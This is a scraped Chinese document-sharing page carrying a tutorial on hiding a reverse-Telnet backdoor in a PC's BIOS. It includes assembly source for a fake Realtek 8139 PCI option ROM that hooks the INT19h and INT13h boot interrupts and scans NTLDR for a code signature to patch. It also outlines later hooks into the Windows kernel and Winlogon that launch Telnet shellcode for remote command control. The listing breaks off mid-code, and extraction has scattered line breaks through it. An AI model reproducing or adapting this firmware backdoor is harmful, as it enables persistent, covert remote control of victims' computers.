BIOS中隐藏Telnet后门.docx

上传人:b****4 文档编号:3516898 上传时间:2022-11-23 格式:DOCX 页数:16 大小:25.72KB
下载 相关 举报
BIOS中隐藏Telnet后门.docx_第1页
第1页 / 共16页
BIOS中隐藏Telnet后门.docx_第2页
第2页 / 共16页
BIOS中隐藏Telnet后门.docx_第3页
第3页 / 共16页
BIOS中隐藏Telnet后门.docx_第4页
第4页 / 共16页
BIOS中隐藏Telnet后门.docx_第5页
第5页 / 共16页
点击查看更多>>
下载资源
资源描述

BIOS中隐藏Telnet后门.docx

《BIOS中隐藏Telnet后门.docx》由会员分享,可在线阅读,更多相关《BIOS中隐藏Telnet后门.docx(16页珍藏版)》请在冰豆网上搜索。

BIOS中隐藏Telnet后门.docx

BIOS中隐藏Telnet后门

BIOS中隐藏Telnet后门

该项目主要目的是想隐藏一个Telnet后门

在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。

运行后能反向Telnet连接到指定的计算机接受CMD控制。

相关知识标题

    1、实验环境配置问题。

    2、刷新BIOS技术问题。

    3、代码植入BIOS问题。

    4、源代码的相关问题:

      A、如何编写BIOS模块如:

PCI、ISA。

      B、实模式关于HOOK磁盘中断的问题。

      C、磁盘中断中选择再次HOOK的问题。

      D、NT保护模式下设置物理地址映射。

      E、NT保护模式下线性地址寻址问题。

      F、HOOKKeAddSystemServiceTable。

      G、HOOKNtUserRegisterClassExWOW。

      H、HOOKWinlogonSASWndProc过程。

      I、在SASWndProc收到WM_CREATE消息建立线程运行TelnetShellCode。

    5、源代码的其他技术:

      A、IVThookInLineHook  SSDTHook

      B、SEH  PE  PEB  TIB

      C、HashSharedUserDataCheckSum

    6、......

相关的工具及相关的源代码会在以后整理发布.

  以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!

  调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装

  win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.

**********************************************ROM_IMAGE_SIZE    equ4                                        ;整个模块大小单位KB,固定大小4KB.

CSL_KERNEL_DEST    equ0FFDF0800h                                ;SharedUserData数据结构线性地址.

CSL_USER_BACKDOOR    equ07FFE0800h                                ;SharedUserData数据结构线性地址.

;*****************************************************************************************************************************************RealCodesegmentuse16                           

Code16Start:

;*****************************************************************************************************************************************      org    00h                                              ;####注意:

置代码开始地址以便于确定定置.####,****设置开始偏移:

000h****

      dw      0AA55h                                            ;####注意:

ROM头格式标识可以生气独立ROM.####,****标识开始偏移:

000h****

      db      ROM_IMAGE_SIZE*2                                  ;####注意:

ROM长度(单位:

512B,块)最小8块.####,****长度开始偏移:

002h****

      jmp    MyROMCodeStart                                    ;####注意:

修改ROM模拟跳转指令到这里执行####,****指令开始偏移:

003h****

      org    06h                                              ;####注意:

编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:

003h****

ReturnOldROM:

                                                  ;####注意:

把数据放在头部以便于确定位置.####,****标识开始偏移:

006h****

      db      0e9h,0,0                                          ;####注意:

执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:

007h****

      db      'CHKSUM=',0                                      ;####注意:

填写我们修改后的ROM数据检验和####,****数据偏移地址:

010h****    

;*****************************************************************************************************************************************      org    18h                                              ;编译成支持PCI设备的模块:

PCIROM固定大小4KB,其他参看"PCI2.2规范"教程

      dd      34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtekPCI8139网卡

;*****************************************************************************************************************************************MyROMCodeStart:

      pushf

      pushad

      push    es

      push    ds

      sti                                                      ;打开中断,以便接收键盘输入.

      mov    cx,0ffffh                                        ;等待,约为两二秒的按键消息.

      call    WaitPressScrollKey

      .if    !

CARRY?

                                          ;若按下ScrollLock键,不运行我们的程序.

;*****************************************************************************************************************************************              xor    ax,ax

              mov    es,ax

              mov    eax,es:

[19h*4]

              mov    es:

[84h*4],eax                            ;借用中断向量84H,保存中断向量19H.

              mov    bx,es:

[413h]                              ;40:

13,BIOS数据区保存常规的内存大小,单位:

KBs.

              and    bl,NOT3                                  ;注意:

要求分配的物理内存地址,以页作为基地址.

              sub    bx,4                                      

              mov    es:

[413h],bx                              

              shl    bx,(10-4)                                ;bx*=1024/16(KBs->线性地址=KBs*1024,段:

除以16)

              mov    es,bx                                     

              xor    di,di                                    ;es:

di->分配的实模式高端内存前半部分开始处.

              

              push    cs

              pop    ds

              call    GetCurrentAddr                            ;offsetCode16End=offsetCode32Start

              GetCurrentAddr:

              pop    si                                        ;si->GetCurrentAddr在内存的地址

              mov    dx,si

              

              add    si,Code16End-GetCurrentAddr            ;ds:

si->Code16End保护模式代码段内存的地址.

              cld

              mov    cx,((ROM_IMAGE_SIZE/2)*1024)/4      ;拷贝保护模式代码数据到分配内存的前半部分.

              rep    movsd

              

              add    bx,100h                                   

              mov    es,bx                                     

              xor    di,di                                    ;es:

0->分配的实模式高端内存后半部分开始处.

              mov    si,dx

              sub    si,GetCurrentAddr-Code16Start          ;ds:

si->Code16Start实模式代码的内存的地址.

              mov    cx,((ROM_IMAGE_SIZE/2)*1024)/4      ;拷贝  实模式代码数据到分配内存的后半部分.

              rep    movsd

             

              xor    bx,bx

              mov    ds,bx

              add    dx,NewINT19H-GetCurrentAddr            ;dx->NewINT19H内存的地址

              mov    ds:

[19h*4],dx

              mov    ds:

[(19h*4)+2],es                      ;设置成我们的INT19H服务代码

;*****************************************************************************************************************************************      .endif

      pop    ds

      pop    es

      popad

      popf 

      ;jmp    ReturnOldROM                                    ;跳转到原来的ROM代码的跳转处执行               

      retf

;*****************************************************************************************************************************************WaitPressScrollKey:

                                            ;函数入口:

CX=350约为10ms,函数延时:

33(us) 

      push    ax

      .repeat

            in      al,60h

            .if    al==46h                                  ;ScrollLock键扫描码:

46h

                    stc

                    pop    ax

                    ret 

            .endif

            in      al,61h   

            test    al,010h   

            .continue.if  !

ZERO?

            .repeat

                    in      al,61h   

                    test    al,10h   

            .until  !

ZERO?

            dec    cx

      .untilcx==0

      clc

      pop    ax

      ret

;*****************************************************************************************************************************************NewINT19H:

      pushf

      ;cli

      push    eax

      push    es

      ;jmp    $                                                ;bochs调试1#.

      xor    ax,ax

      mov    es,ax             

      mov    eax,es:

[84h*4]

      mov    es:

[19h*4],eax                                    ;恢复中断向量19H值.

      mov    eax,es:

[13h*4]

      .if    es:

[85h*4]!

=eax

              mov    es:

[85h*4],eax                            ;借用中断向量85H,保存中断向量13H.reservedforBASIC82h~85h

              mov    wordptres:

[13h*4],NewINT13H            ;设置NewINT13H在内存的地址.

              mov    es:

[(13h*4)+2],cs                      ;设置成我们的INT13H服务代码

      .endif

      pop    es

      pop    eax

      popf                                                      ;恢复现场

      int    84h                                              ;调用旧的中断向量19H.

      iret      

;*****************************************************************************************************************************************NewINT13H:

      pushf                                                    ;有指令要改变标志寄存器值.

      test    ah,0bdh                                          ;是不是读数据到内存?

ah=02,ah=42h.

      .if    !

ZERO?

                                            ;ZF=0

              popf

              int    85h                                        ;调用旧的中断向量13H.

              iret

      .endif

      mov    wordptrcs:

[INT13LASTFUNCTION],ax

      popf

     

      

      int    85h                                              ;调用旧的中断向量13H.

      .if    CARRY?

                                            ;CF=1,读失败退出服务

              iret

      .endif

      pushf

      ;cli

      push  es

      pushad

      ;jmp    $                                                ;bochs调试2#.可输入指令:

ucs:

ip+2.观察INT13LASTFUNCTION的值.

      mov    ax,00h

INT13LASTFUNCTIONEQU$-2

      .if    ah==42h

        lodsw

        lodsw                        ;参看"扩展INT13H规范"ds:

[si+2]指传输块数.

        les    bx,[si]                                    ;ds:

[si+04h]表示:

传输用的缓冲区内存地址.

      .endif

      .if    al!

=00h

              xor    cx,cx              

              mov    cl,al

        mov    al,8Bh                                    ;设置搜索标志的第一个字节.

        shl    cx,9                                        ;(CX*200h)搜索搜索计数.

        mov    di,bx                        ;8BF085F67421803D:

MOVESI,EAXTESTESI,ESIJZ$+23hCMPBYTEPTR[ofs32],imm8

              cld                                              ;NTLDROSLoder模块里的6字节做为标志,进行HOOK.注意:

选择HOOK位置很关键!

              .while  1                                   

                      repne    scasb      

                  .break    .if  !

ZERO?

                      .continue.if  dwordptres:

[di]!

=74F685F0h

                      .continue.if  wordptres:

[di+4]!

=8021h

                                                                ;(es:

di-1)->我们想被HOOK的指令代码开始处.

                      ;mov    byteptres:

[di-8],0ebh        ;jmp$指令十六进制值0xebfe,设置在NTLDR暂停.

                      ;mov    byteptres:

[di-7],0feh     

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 表格模板 > 合同协议

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1